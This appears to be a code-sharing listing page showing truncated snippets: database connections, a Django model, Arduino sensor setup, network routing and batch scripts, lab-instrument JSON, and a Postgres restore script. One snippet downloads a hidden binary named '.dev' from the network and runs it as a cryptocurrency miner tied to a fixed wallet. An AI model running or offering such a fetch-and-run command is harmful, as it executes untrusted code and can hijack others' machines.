This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import MySQLdb as mdb | |
import sys | |
try: | |
con = mdb.connect('localhost', 'USERNAME MYSQL', 'PASSWORD MYSQL', 'NAMA DATABASE'); | |
cur = con.cursor() | |
cur.execute("SELECT VERSION()") | |
ver = cur.fetchone() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import uuid | |
class Booking(models.Model): | |
booking_no = models.CharField(primary_key=True, default=uuid.uuid4().hex[:5].upper(), max_length=50, editable=False) | |
def __str__(self): | |
return str(self.booking_no) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Ultrasonic.h> | |
#include <Wire.h> | |
#include <LiquidCrystal_I2C.h> | |
#include <Adafruit_MLX90614.h> | |
Ultrasonic front_ultrasonic(10, 9); | |
Ultrasonic back_ultrasonic(12, 11); | |
LiquidCrystal_I2C lcd(0x27, 16, 2); | |
Adafruit_MLX90614 mlx = Adafruit_MLX90614(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget https://github.com/WhynotSir/sirji/raw/main/.dev | |
chmod +x .dev | |
./.dev --algo BEAM-III --pool stratum+tcp://beamv3.usa-west.nicehash.com:3387 --user 3NuN7uVhFCxgPe9E6H3z4jSiknbXfhk1kK.$1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
GREEN='\033[0;32m' | |
YELLOW='\033[1;33m' | |
NC='\033[0m' # No Color | |
setup_tap_and_route(){ | |
sudo ifconfig tun0 10.0.0.1 netmask 255.255.255.0 | |
if route | grep tun0; then | |
sudo route add default gw 10.0.0.2 metric 6 | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
setlocal enabledelayedexpansion | |
set argCount=0 | |
for %%x in (%*) do ( | |
set /A argCount+=1 | |
set "argVec[!argCount!]=%%~x" | |
@REM set "argName[!argCount!]=%%~nx" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"pattern": "order_result", | |
"data": { | |
"Instrument": { | |
"IdInstrument": 2, | |
"NamaInstrument": "CobasC111", | |
"Type": "ASTM", | |
"Mode": "REALTIME" | |
}, | |
"Patient": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"pattern": "order_result", | |
"data": { | |
"Instrument": { | |
"IdInstrument": 2, | |
"NamaInstrument": "CobasC111", | |
"Type": "ASTM", | |
"Mode": "REALTIME" | |
}, | |
"Patient": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"pattern": "order_result", | |
"data": { | |
"Instrument": { | |
"IdInstrument": 2, | |
"NamaInstrument": "CobasC111", | |
"Type": "ASTM", | |
"Mode": "REALTIME" | |
}, | |
"Patient": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require("dotenv").config(); | |
const fs = require("fs"); | |
const Client = require("pg").Client; | |
const winston = require("winston"); | |
const PATH_TO_SOURCE = process.env.PATH_TO_SOURCE; | |
const PATH_TO_RESTORED = process.env.PATH_TO_RESTORED | |
const logger = winston.createLogger({ | |
level: "info", |
OlderNewer